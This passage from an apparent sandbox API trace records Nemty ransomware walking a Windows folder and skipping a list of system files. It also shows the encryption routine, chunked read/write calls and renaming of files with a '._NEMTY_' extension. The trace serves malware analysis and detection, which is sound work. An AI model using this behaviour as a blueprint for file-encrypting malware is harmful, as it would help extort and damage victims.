lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.413] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.413] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.419] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.419] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0140.419] CloseHandle (hObject=0xffffffff) returned 0 [0140.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0140.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0140.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0140.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0140.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0140.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0140.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0140.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0140.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0140.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0140.420] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider_left.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider_left.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider_left.png._nemty_kgobjgd_")) returned 0 [0140.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0140.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0140.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0140.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0140.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0140.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0140.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0140.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0140.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0140.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.421] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84caf5e5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84caf5e5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b9a0e7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8b, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_divider_right.png", cAlternateFileName="")) returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2=".") returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="..") returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="...") returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="windows") returned -1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="$RECYCLE.BIN") returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="rsa") returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="NTDETECT.COM") returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="ntldr") returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="MSDOS.SYS") returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="IO.SYS") returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="boot.ini") returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="boot.ini") returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="AUTOEXEC.BAT") returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="ntuser.dat") returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="desktop.ini") returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="CONFIG.SYS") returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="RECYCLER") returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="BOOTSECT.BAK") returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="bootmgr") returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="programdata") returned 1 [0140.421] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="appdata") returned 1 [0140.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_right.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0140.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_right.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider_right.png", lpUsedDefaultChar=0x0) returned 26 [0140.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0140.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_right.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0140.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_right.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider_right.png", lpUsedDefaultChar=0x0) returned 26 [0140.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0140.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_right.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0140.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_right.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider_right.png", lpUsedDefaultChar=0x0) returned 26 [0140.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_right.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0140.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0140.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_right.png", cchWideChar=26, lpMultiByteStr=0x4f9ed08, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider_right.png", lpUsedDefaultChar=0x0) returned 26 [0140.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0140.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0140.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0140.422] Sleep (dwMilliseconds=0x5) [0140.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x7595e70, dwHighDateTime=0x1d561e8)) [0140.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x7595e70, dwHighDateTime=0x1d561e8)) [0140.429] GetLastError () returned 0x5 [0140.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.429] GetLastError () returned 0x5 [0140.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0140.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0140.429] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0140.429] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0140.429] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0140.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0140.429] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="VA9NKvp7afgCk6+MBQW0DCsJ9UnrJsVaAvQ7MSj652dFyz4tXghtmFGVcYPSS7WM\r\nHOwV85GGgObVLoOXe5EryrBAf17sv/ODT9umXJoSzsxqelsGqhvw4JJGL09aUtcY\r\nL1HwWau7M6gBd2IUA91dvLQ6qrrrtQm5AzKKOKjgTEb3EXQHR7CSwoBwQXrPcFFl\r\n2DTE178o8vJPrJSSU/3ISQcekHtC54Ufdu5L3u2WSKQRIGvQIzz3epTaUDIqPHfW\r\nJ6V3XLzPq4cg2pxGQ1BgXP0OPBPHKOc7E5OChyQZB5525ZDFUCQoh8LuTa5is/4N\r\nR6ltMswaAePXhm81wFpPPw==\r\n", pcchString=0x653e91c) returned 1 [0140.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0140.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0140.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0140.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0140.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0140.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0140.430] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0140.430] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0140.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0140.430] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.430] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.439] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.439] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.449] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.449] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.458] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.458] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.467] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.467] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.477] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.477] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.486] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.486] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.495] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.495] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.495] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.496] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.505] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.505] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.514] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.514] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.524] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.524] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.530] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.530] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.536] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.536] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0140.536] CloseHandle (hObject=0xffffffff) returned 0 [0140.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0140.536] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0140.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0140.536] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0140.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0140.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0140.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) 